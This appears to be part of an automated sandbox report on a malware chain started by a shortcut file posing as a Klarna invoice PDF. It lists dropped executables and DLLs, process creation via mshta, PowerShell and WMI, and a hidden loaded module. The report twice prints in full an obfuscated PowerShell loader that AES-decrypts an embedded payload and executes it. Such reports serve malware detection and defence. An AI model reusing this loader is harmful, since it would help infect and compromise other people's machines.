Source:	Binary string: mfdvdec.pdb source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2571463926.0000000000366000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: pyexec.exe, 00000012.00000002.2156013955.0000000008950000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000012.00000002.2160438736.0000000008CB0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350967507.0000000009021000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349805985.000000000891F000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350182430.0000000008C70000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528670821.0000000004C46000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528981853.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572930085.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572486363.0000000004D27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: pyexec.exe, 00000012.00000002.2156013955.0000000008950000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000012.00000002.2160438736.0000000008CB0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350967507.0000000009021000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349805985.000000000891F000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350182430.0000000008C70000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528670821.0000000004C46000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528981853.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572930085.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572486363.0000000004D27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sethc.pdb source: mshta.exe, 00000004.00000003.2221900308.000001D04CD61000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2247275165.000001D04CD81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2220749210.000001D04CE07000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221325270.000001D048DAA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221436947.000001D04CDC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb source: pyexec.exe, 00000012.00000002.2168401639.000000006C25A000.00000002.00000001.01000000.00000014.sdmp, pyexec.exe, 00000012.00000003.2126299220.000000000906F000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2352385789.000000006BC2A000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: explorer.pdb source: explorer.exe, 00000016.00000003.2529304928.0000000005595000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6)
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6)			Jump to behavior

Source: Headerfrontend[1].4.dr

Static PE information: 0x9EF0B9FD [Thu Jul 2 03:39:41 2054 UTC]

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe

Code function: 17_2_10042400 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

17_2_10042400

Source: python27.dll.17.dr	Static PE information: real checksum: 0x29675c should be: 0x28d832
Source: python27.dll.18.dr	Static PE information: real checksum: 0x29675c should be: 0x28d832
Source: IMAKBWPY.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x2d9dc1
Source: Headerfrontend[1].4.dr	Static PE information: real checksum: 0x1f27b should be: 0x71793
Source: IMAKBWPY.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x2f869d
Source: ryuvnp.20.dr	Static PE information: real checksum: 0x0 should be: 0x49c63
Source: Gloom.dll.17.dr	Static PE information: real checksum: 0x0 should be: 0x7b57b
Source: pyexec.exe.18.dr	Static PE information: real checksum: 0x7592 should be: 0x73ad
Source: pyexec.exe.17.dr	Static PE information: real checksum: 0x7592 should be: 0x73ad

Source: Headerfrontend[1].4.dr	Static PE information: section name: .didat
Source: IMAKBWPY.exe.6.dr	Static PE information: section name: .wixburn
Source: IMAKBWPY.exe.16.dr	Static PE information: section name: .wixburn
Source: ryuvnp.20.dr	Static PE information: section name: nfrkk

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9A9A7FEA push ebx; retf 0009h	6_2_00007FFD9A9A801A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9A9A15A5 pushad ; ret	6_2_00007FFD9A9A160D
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009CEAD6 push ecx; ret	16_2_009CEAE9
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0025EAD6 push ecx; ret	17_2_0025EAE9
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1003AE90 push eax; ret	17_2_1003AEBE
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_00402F71 push ecx; ret	18_2_00402F84

Source: msvcr90.dll.17.dr	Static PE information: section name: .text entropy: 6.9217598022130655
Source: msvcr90.dll.18.dr	Static PE information: section name: .text entropy: 6.9217598022130655

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe

Creates processes via WMI

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	File created: C:\Users\user\AppData\Roaming\UltraChrome\python27.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\python27.dll	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Headerfrontend[1]	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll	Jump to dropped file
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	File created: C:\Users\user\AppData\Roaming\UltraChrome\msvcr90.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\Gloom.dll	Jump to dropped file
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	File created: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\ryuvnp	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	File created: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Jump to dropped file

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\python27.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\Gloom.dll	Jump to dropped file
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	File created: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	File created: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Jump to dropped file

Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Headerfrontend[1]			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\ryuvnp			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\RYUVNP

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.lnk

Static PE information: KlarnaInvoice229837.pdf.lnk

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
